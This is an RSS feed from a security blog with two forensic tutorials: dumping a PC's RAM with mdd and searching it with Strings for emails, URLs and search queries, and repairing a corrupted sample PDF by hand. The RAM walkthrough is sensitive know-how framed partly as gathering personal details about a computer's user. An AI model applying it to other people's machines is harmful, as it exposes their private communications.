<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>SecSavvy</title>
	
	<link>http://www.secsavvy.com</link>
	<description>All about Information Security &amp; Ethical Hacking</description>
	<lastBuildDate>Fri, 20 May 2011 15:04:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Secsavvy" /><feedburner:info uri="secsavvy" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by/2.0/</creativeCommons:license><feedburner:emailServiceId>Secsavvy</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>RAM Analysis</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/elU0y9XyTXY/ram-analysis</link>
		<comments>http://www.secsavvy.com/forensic/ram-analysis#comments</comments>
		<pubDate>Fri, 26 Nov 2010 11:22:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[RAM]]></category>
		<category><![CDATA[RAM Analysis]]></category>
		<category><![CDATA[RAM Forensics]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=144</guid>
		<description><![CDATA[Random-access memory (RAM) is a form of computer data storage. Today, it takes the form of integrated circuits that allow stored data to be accessed in any order (i.e., at random). &#8220;Random&#8221; refers to the idea that any piece of data can be returned in a constant time, regardless of its physical location and whether [...]]]></description>
			<content:encoded><![CDATA[<p>Random-access memory (RAM) is a form of computer data storage. Today, it takes the form of integrated circuits that allow stored data to be accessed in any order (i.e., at random). &#8220;Random&#8221; refers to the idea that any piece of data can be returned in a constant time, regardless of its physical location and whether it is related to the previous<span id="more-144"></span> piece of data. (Wikipedia Definition)</p>
<p style="text-align: justify;">Lots of information like Email Conversations, Email addresses, Chat Records, Web-pages, URL, user names, searched item in search engine etc. can be found in RAM.<br />
I have also found Email Conversations and URL  from the past.  This article discusses about basic techniques which can be used to dump and analyze the RAM.</p>
<p>So, lets start to get our hand dirty&#8230;.  <img src='http://www.secsavvy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<br /></br></p>
<div class="highlighter">Step 1  RAM Acquisition</div>
<p></br><br /></br><br />
There are many different methods like using Hardware devices, crash dumps and using software for dumping the Physical Memory(RAM).<br />
But in this post , I will discuss the software method for acquisition of physical memory using command line tool MDD(Memory DD) .<br />
You can download MDD tool from this <a href="http://sourceforge.net/projects/mdd/files/mdd/mdd-1.3/mdd_1.3.exe/download" target="_blank">link.</a> .</p>
<p>Open command prompt. Enter <strong>mdd_1.3.exe -h</strong> to view all the options available.<br />
<br /></br></p>
<div class="examplecode">C:\Documents and Settings\Administrator\Desktop\RAM&gt;mdd_1.3.exe -h<br />
-&gt; mdd<br />
-&gt; ManTech Physical Memory Dump Utility<br />
Copyright (C) 2008 ManTech Security &amp; Mission Assurance</p>
<p>-&gt; This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w&#8217;<br />
This is free software, and you are welcome to redistribute it<br />
under certain conditions; use option `-c&#8217; for details.</p>
<p>mdd ManTech Physical Memory Dump Utility</p>
<p>Usage:</p>
<p>mdd &lt;-o OUTPUTFILE&gt; [-qvcw]</p>
<p>-o OUTPUTFILE     output file for dump<br />
-q                quiet; no output except on error<br />
-v                verbose; output offsets of failed mappings<br />
-c                redistribution conditions for GPL<br />
-w                warranty information for GPL</p>
<p>C:\Documents and Settings\Administrator\Desktop\RAM&gt;</p>
</div>
<p></br><br /></br><br />
For dumping physical memory(RAM) enter <strong>mdd_1.3.exe -o D:\RamDump.img</strong><br />
D:\RamDump.img is the path and file name for the image.<br />
<br /></br></p>
<div class="examplecode">
<p>C:\Documents and</p>
<p>Settings\Administrator\Desktop\RAM&gt;mdd_1.3.exe -o D:\RamDump.img<br />
-&gt; mdd<br />
-&gt; ManTech Physical Memory Dump Utility<br />
Copyright (C) 2008 ManTech Security &amp; Mission</p>
<p>Assurance</p>
<p>-&gt; This program comes with ABSOLUTELY NO WARRANTY;</p>
<p>for details use option `-w&#8217;<br />
This is free software, and you are welcome to</p>
<p>redistribute it<br />
under certain conditions; use option `-c&#8217; for</p>
<p>details.</p>
<p>-&gt; Dumping 3317.88 MB of physical memory to file</p>
<p>&#8216;D:\RamDump.img&#8217;.</p>
<p>849254 map operations succeeded (1.00)<br />
123 map operations failed</p>
<p>took 939 seconds to write<br />
MD5 is: 4fa719129198f8a360a9469b624bda7f</p>
<p>C:\Documents and Settings\Administrator\Desktop\RAM&gt;</p>
</div>
<p></br><br /></br></p>
<div class="highlighter">Step 2 RAM Analysis</div>
<p></br><br /></br><br />
Now, we have successfully dumped the physical memory to a file. If this file is a crash dump file then we can easily analyze this file with window debugger.<br />
But this file is not a crash dump file format so I will show one of the basic techniques to analyze the RAM is to search for useful strings.</p>
<p>So, now we will extract all the strings from this image and save the strings into another file using Strings utility from Sysinternals. You can download this tool from this <a href="http://download.sysinternals.com/Files/Strings.zip" target="_blank">link</a>.</p>
<p>Open command prompt and enter <strong>Strings.exe D:\RamDump.img > Output.txt</strong><br />
<br /></br></p>
<div class="examplecode">
C:\Documents and Settings\Administrator\Desktop\RAM>Strings.exe D:\RamDump.img > Output.txt
</div>
<p></br><br /></br><br />
Now you can use any text-editor to view and search the contents of Output.txt , I prefer to use <a href="http://download.tuxfamily.org/notepadplus/5.8/npp.5.8.Installer.exe" target="_blank">Notepad++</a>.<br />
You can search for string like &#8220;www.&#8221;, &#8220;@&#8221;, &#8220;?q=&#8221;(for search query) etc. to find some useful info about the person using that computer.<br />
I have find lots of email-conversation, email-addresse,URL from my PC. You can also try this out and post your comments.</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/exploit-development/overwrite-eip" rel="bookmark" class="crp_title">How to find addresses to overwrite EIP??</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/image-hijack" rel="bookmark" class="crp_title">How to remap exe to another exe file??? (Image Hijack)</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/generating-shellcode" rel="bookmark" class="crp_title">Generating Shellcode using Metasploit</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/how-to-hack-google-password" rel="bookmark" class="crp_title">How to hack Google password??</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/V56mlNWIKC2Q15uBg2ZC3ZWYAG0/0/da"><img src="http://feedads.g.doubleclick.net/~a/V56mlNWIKC2Q15uBg2ZC3ZWYAG0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/V56mlNWIKC2Q15uBg2ZC3ZWYAG0/1/da"><img src="http://feedads.g.doubleclick.net/~a/V56mlNWIKC2Q15uBg2ZC3ZWYAG0/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/elU0y9XyTXY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/forensic/ram-analysis/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/forensic/ram-analysis</feedburner:origLink></item>
		<item>
		<title>Investigating Corrupted PDF</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/qLgzXtKV2no/investigating-corrupted-pdf</link>
		<comments>http://www.secsavvy.com/forensic/investigating-corrupted-pdf#comments</comments>
		<pubDate>Fri, 24 Sep 2010 14:30:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Pdf Forensics]]></category>
		<category><![CDATA[Forenscis Videos]]></category>
		<category><![CDATA[Hacking Videos]]></category>
		<category><![CDATA[Pdf]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=132</guid>
		<description><![CDATA[Hello Friends, Today, I will show you how can you investigate a corrupted PDF. For this purpose I have created a sample PDF. Before reading this article,I will suggest you to read this another article PDF Overview for better understanding of PDF structure. Tool Required 1. PDF Reader 2. Notepad++ for editing. So , lets [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Friends,</p>
<p>Today, I will show you how can you investigate a corrupted PDF. For this purpose I have created a sample <a href="http://www.secsavvy.com/wp-content/uploads/2010/09/MultiplePages.pdf" target="_blank">PDF</a>. Before reading this article,I will suggest you to read this another article <a href="http://www.secsavvy.com/forensic/pdf-overview" target="_blank">PDF Overview</a> for better understanding of PDF structure.<span id="more-132"></span><br />
<br /></br><br /></br><br /></br></p>
<div class="highlighter">Tool Required</div>
<p></br><br />
1. PDF Reader<br />
2. <a href="http://download.tuxfamily.org/notepadplus/5.8/npp.5.8.Installer.exe" target="_blank">Notepad++</a> for editing.</p>
<p>So , lets start to get our hand dirty.. <img src='http://www.secsavvy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>First, download this sample <a href="http://www.secsavvy.com/wp-content/uploads/2010/09/MultiplePages.pdf" target="_blank">PDF</a> and try to open this PDF.<br />
You will see this error message.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/09/Pdf-Error.jpg"><img class="aligncenter size-full wp-image-134" title="Pdf Error" src="http://www.secsavvy.com/wp-content/uploads/2010/09/Pdf-Error.jpg" alt="PDF Forensic" width="772" height="583" /></a></p>
<p>Now open this PDF in Notepad++.</p>
<p>Note: I have not encoded the PDF Contents with different filters for simplicity.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p132code2'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1322"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
</pre></td><td class="code" id="p132code2"><pre class="c" style="font-family:monospace;"><span style="color: #0000dd;">1</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Pages <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Catalog
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Count <span style="color: #0000dd;">2</span>
	<span style="color: #339933;">/</span>Kids <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">3</span> <span style="color: #0000dd;">0</span> R <span style="color: #0000dd;">5</span> <span style="color: #0000dd;">0</span> R <span style="color: #0000dd;">7</span> <span style="color: #0000dd;">0</span> R <span style="color: #0000dd;">9</span> <span style="color: #0000dd;">0</span> R <span style="color: #0000dd;">11</span> <span style="color: #0000dd;">0</span> R <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Pages
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">3</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>MediaBox <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">795</span> <span style="color: #0000dd;">842</span> <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Parent <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Contents <span style="color: #0000dd;">4</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Resources <span style="color: #339933;">&lt;&lt;</span>
		<span style="color: #339933;">/</span>Font <span style="color: #339933;">&lt;&lt;</span>
			<span style="color: #339933;">/</span>F1 <span style="color: #339933;">&lt;&lt;</span>
				<span style="color: #339933;">/</span>Name <span style="color: #339933;">/</span>F1
				<span style="color: #339933;">/</span>BaseFont <span style="color: #339933;">/</span>Helvetica
				<span style="color: #339933;">/</span>Subtype <span style="color: #339933;">/</span>Type1
				<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Font
			<span style="color: #339933;">&gt;&gt;</span>
		<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Page
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">4</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Length <span style="color: #0000dd;">55</span>
<span style="color: #339933;">&gt;&gt;</span>stream
BT
<span style="color: #339933;">/</span>F1 <span style="color: #0000dd;">18</span> Tf
<span style="color: #0000dd;">186</span> <span style="color: #0000dd;">690</span> Td
<span style="color: #0000dd;">20</span> TL
<span style="color: #009900;">&#40;</span>www.<span style="color: #202020;">secsavvy</span>.<span style="color: #202020;">com</span><span style="color: #009900;">&#41;</span> Tj
ET
&nbsp;
endstream
endobj
<span style="color: #0000dd;">5</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>MediaBox <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">795</span> <span style="color: #0000dd;">842</span> <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Parent <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Contents <span style="color: #0000dd;">6</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Resources <span style="color: #339933;">&lt;&lt;</span>
		<span style="color: #339933;">/</span>Font <span style="color: #339933;">&lt;&lt;</span>
			<span style="color: #339933;">/</span>F1 <span style="color: #339933;">&lt;&lt;</span>
				<span style="color: #339933;">/</span>Name <span style="color: #339933;">/</span>F1
				<span style="color: #339933;">/</span>BaseFont <span style="color: #339933;">/</span>Helvetica
				<span style="color: #339933;">/</span>Subtype <span style="color: #339933;">/</span>Type1
				<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Font
			<span style="color: #339933;">&gt;&gt;</span>
		<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Page
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">6</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Length <span style="color: #0000dd;">45</span>
<span style="color: #339933;">&gt;&gt;</span>stream
BT
<span style="color: #339933;">/</span>F1 <span style="color: #0000dd;">15</span> Tf
<span style="color: #0000dd;">186</span> <span style="color: #0000dd;">690</span> Td
<span style="color: #0000dd;">20</span> TL
<span style="color: #009900;">&#40;</span>Page <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> Tj
ET
&nbsp;
endstream
endobj
<span style="color: #0000dd;">7</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>MediaBox <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">795</span> <span style="color: #0000dd;">842</span> <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Parent <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Contents <span style="color: #0000dd;">8</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Resources <span style="color: #339933;">&lt;&lt;</span>
		<span style="color: #339933;">/</span>Font <span style="color: #339933;">&lt;&lt;</span>
			<span style="color: #339933;">/</span>F1 <span style="color: #339933;">&lt;&lt;</span>
				<span style="color: #339933;">/</span>Name <span style="color: #339933;">/</span>F1
				<span style="color: #339933;">/</span>BaseFont <span style="color: #339933;">/</span>Helvetica
				<span style="color: #339933;">/</span>Subtype <span style="color: #339933;">/</span>Type1
				<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Font
			<span style="color: #339933;">&gt;&gt;</span>
		<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Page
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">8</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Length <span style="color: #0000dd;">45</span>
<span style="color: #339933;">&gt;&gt;</span>stream
BT
<span style="color: #339933;">/</span>F1 <span style="color: #0000dd;">15</span> Tf
<span style="color: #0000dd;">186</span> <span style="color: #0000dd;">690</span> Td
<span style="color: #0000dd;">20</span> TL
<span style="color: #009900;">&#40;</span>Page <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> Tj
ET
&nbsp;
endstream
endobj
<span style="color: #0000dd;">9</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>MediaBox <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">795</span> <span style="color: #0000dd;">842</span> <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Parent <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Contents <span style="color: #0000dd;">10</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Resources <span style="color: #339933;">&lt;&lt;</span>
		<span style="color: #339933;">/</span>Font <span style="color: #339933;">&lt;&lt;</span>
			<span style="color: #339933;">/</span>F1 <span style="color: #339933;">&lt;&lt;</span>
				<span style="color: #339933;">/</span>Name <span style="color: #339933;">/</span>F1
				<span style="color: #339933;">/</span>BaseFont <span style="color: #339933;">/</span>Helvetica
				<span style="color: #339933;">/</span>Subtype <span style="color: #339933;">/</span>Type1
				<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Font
			<span style="color: #339933;">&gt;&gt;</span>
		<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Page
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">10</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Length <span style="color: #0000dd;">45</span>
<span style="color: #339933;">&gt;&gt;</span>stream
BT
<span style="color: #339933;">/</span>F1 <span style="color: #0000dd;">15</span> Tf
<span style="color: #0000dd;">186</span> <span style="color: #0000dd;">690</span> Td
<span style="color: #0000dd;">20</span> TL
<span style="color: #009900;">&#40;</span>Page <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> Tj
ET
&nbsp;
endstream
endobj
<span style="color: #0000dd;">11</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>MediaBox <span style="color: #009900;">&#91;</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">0</span> <span style="color: #0000dd;">795</span> <span style="color: #0000dd;">842</span> <span style="color: #009900;">&#93;</span>
	<span style="color: #339933;">/</span>Parent <span style="color: #0000dd;">2</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Content <span style="color: #0000dd;">12</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Resources <span style="color: #339933;">&lt;&lt;</span>
		<span style="color: #339933;">/</span>Font <span style="color: #339933;">&lt;&lt;</span>
			<span style="color: #339933;">/</span>F1 <span style="color: #339933;">&lt;&lt;</span>
				<span style="color: #339933;">/</span>Name <span style="color: #339933;">/</span>F1
				<span style="color: #339933;">/</span>BaseFont <span style="color: #339933;">/</span>Helvetica
				<span style="color: #339933;">/</span>Subtype <span style="color: #339933;">/</span>Type1
				<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Font
			<span style="color: #339933;">&gt;&gt;</span>
		<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">&gt;&gt;</span>
	<span style="color: #339933;">/</span>Type <span style="color: #339933;">/</span>Page
<span style="color: #339933;">&gt;&gt;</span>
endobj
<span style="color: #0000dd;">12</span> <span style="color: #0000dd;">0</span> obj
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Length <span style="color: #0000dd;">47</span>
<span style="color: #339933;">&gt;&gt;</span>stream
BT
<span style="color: #339933;">/</span>F1 <span style="color: #0000dd;">15</span> Tf
<span style="color: #0000dd;">186</span> <span style="color: #0000dd;">690</span> Td
<span style="color: #0000dd;">20</span> TL
<span style="color: #009900;">&#40;</span>Password<span style="color: #009900;">&#41;</span> Tj
ET
&nbsp;
endstream
endobj
xref
<span style="color: #0000dd;">0</span> <span style="color: #0000dd;">13</span>
<span style="color: #208080;">0000000000</span> <span style="color: #0000dd;">65535</span> f
<span style="color: #208080;">0000000010</span> <span style="color: #208080;">00000</span> n
<span style="color: #208080;">0000000067</span> <span style="color: #208080;">00000</span> n
<span style="color: #208080;">0000000161</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000000398</span> <span style="color: #208080;">00000</span> n
<span style="color: #208080;">0000000510</span> <span style="color: #208080;">00000</span> n
<span style="color: #208080;">0000000747</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000000849</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000001086</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000001188</span> <span style="color: #208080;">00000</span> n
<span style="color: #208080;">0000001426</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000001529</span> <span style="color: #208080;">00000</span> n
<span style="color:#800080;">0000001768</span> <span style="color: #208080;">00000</span> n
trailer
<span style="color: #339933;">&lt;&lt;</span>
	<span style="color: #339933;">/</span>Root <span style="color: #0000dd;">1</span> <span style="color: #0000dd;">0</span> R
	<span style="color: #339933;">/</span>Size <span style="color: #0000dd;">13</span>
<span style="color: #339933;">&gt;&gt;</span>
startxref
<span style="color: #0000dd;">1873</span>
<span style="color: #339933;">%%</span>EOF</pre></td></tr></table></div>

<p>PDF file consists of 4 elements:</p>
<ul>
<li>PDF header identifying the PDF specification.</li>
<li> A body containing the objects that make up the document contained in the file</li>
<li> A cross-reference table containing information about the indirect objects in the file</li>
<li> A trailer giving the location of the cross-reference table and of certain special objects within the body of the file.</li>
</ul>
<p>But in this case there is no header so we will add a PDF header and try to open this PDF.<br />
<br /></br></p>
<div class="examplecode">%PDF-1.7</div>
<p></br><br />
Now we are able to open this PDF.<br />
<br /></br><br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/09/PDF-Forensic.jpg"><img class="aligncenter size-full wp-image-135" title="PDF Forensic" src="http://www.secsavvy.com/wp-content/uploads/2010/09/PDF-Forensic.jpg" alt="PDF Forensic" width="722" height="410" /></a><br />
We can see that this PDF consists of 2 pages as shown in image above but investigate further to verify it.<br />
<br /></br><br /></br><br /></br><br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Forensic-1.jpg"><img class="aligncenter size-full wp-image-136" title="Pdf Forensic 1" src="http://www.secsavvy.com/wp-content/uploads/2010/12/Pdf-Forensic-1.jpg" alt="PDF Forensic" width="826" height="398" /></a></p>
<p>Now, we are able to find that this PDF has actually total 5 pages so edit the Count from 2 to 5 and open this PDF.<br />
<br /></br></p>
<div class="examplecode">
<strong>%PDF-1.7</strong><br />
1 0 obj<br />
<<<br />
	/Pages 2 0 R<br />
	/Type /Catalog<br />
>><br />
endobj<br />
2 0 obj<br />
<<<br />
	/Count <strong>5</strong><br />
	/Kids [ 3 0 R 5 0 R 7 0 R 9 0 R 11 0 R ]<br />
	/Type /Pages<br />
>><br />
endobj
</div>
<p></br><br />
Now, we are able to see all 5 pages but last page is blank so we will investigate further.<br />
Last page is pointed by <strong>11 0 R</strong> indirect object reference.<br />
<br /></br></p>
<div class="examplecode">
11 0 obj<br />
<<<br />
	/MediaBox [ 0 0 795 842 ]<br />
	/Parent 2 0 R<br />
	/<strong>Content</strong> 12 0 R<br />
	/Resources <<<br />
		/Font <<<br />
			/F1 <<<br />
				/Name /F1<br />
				/BaseFont /Helvetica<br />
				/Subtype /Type1<br />
				/Type /Font<br />
			>><br />
		>><br />
	>><br />
	/Type /Page<br />
>><br />
endobj
</div>
<p></br><br /></br><br /></br><br />
<strong>Contents</strong> keyword is used for describing the contents of a file . If this entry is absent then the page is empty.<br />
But in this object number 12 Content<strong>s</strong> is written as <strong>Content</strong> so PDF reader is unable to recognize the name Content so it ignores the Content without giving any error.<br />
Replace Content with Contents and open the PDF. Now you are able to see all five pages. <img src='http://www.secsavvy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<br /></br><br />
You can download this corrected PDF from this<a href='http://www.secsavvy.com/wp-content/uploads/2010/09/MultiplePages-Fixed.pdf' target="_blank"> link</a>. </p>
<p></br><br /></br><br /></br></p>
<div class="highlighter">Demo(High Quality)</div>
<p></br><br />
<center><br />
<iframe src="http://player.vimeo.com/video/18075125" width="500" height="400" frameborder="1"></iframe></center><br />
or you can also watch it on youtube<br />
<center>
<p><a href="http://www.youtube.com/watch?v=r2Tp-2MFIRQ">http://www.youtube.com/watch?v=r2Tp-2MFIRQ</a></p>
<p></center></p>
<p>If you are more interested to read about PDF then I recommend you to visit excellent bog of <a href="http://blog.didierstevens.com" target="_blank">Didier Stevens</a></p>
<p>Hope you enjoyed this post , feel free to comment……</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/forensic/pdf-overview" rel="bookmark" class="crp_title">PDF Overview</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/how-to-hack-google-password" rel="bookmark" class="crp_title">How to hack Google password??</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/9J0xkMSltQYPEbnYm9tuUzeIYtY/0/da"><img src="http://feedads.g.doubleclick.net/~a/9J0xkMSltQYPEbnYm9tuUzeIYtY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/9J0xkMSltQYPEbnYm9tuUzeIYtY/1/da"><img src="http://feedads.g.doubleclick.net/~a/9J0xkMSltQYPEbnYm9tuUzeIYtY/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/qLgzXtKV2no" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/forensic/investigating-corrupted-pdf/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/forensic/investigating-corrupted-pdf</feedburner:origLink></item>
		<item>
		<title>PDF Overview</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/t_4jzg8Dano/pdf-overview</link>
		<comments>http://www.secsavvy.com/forensic/pdf-overview#comments</comments>
		<pubDate>Thu, 23 Sep 2010 18:19:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Pdf Forensics]]></category>
		<category><![CDATA[Pdf]]></category>

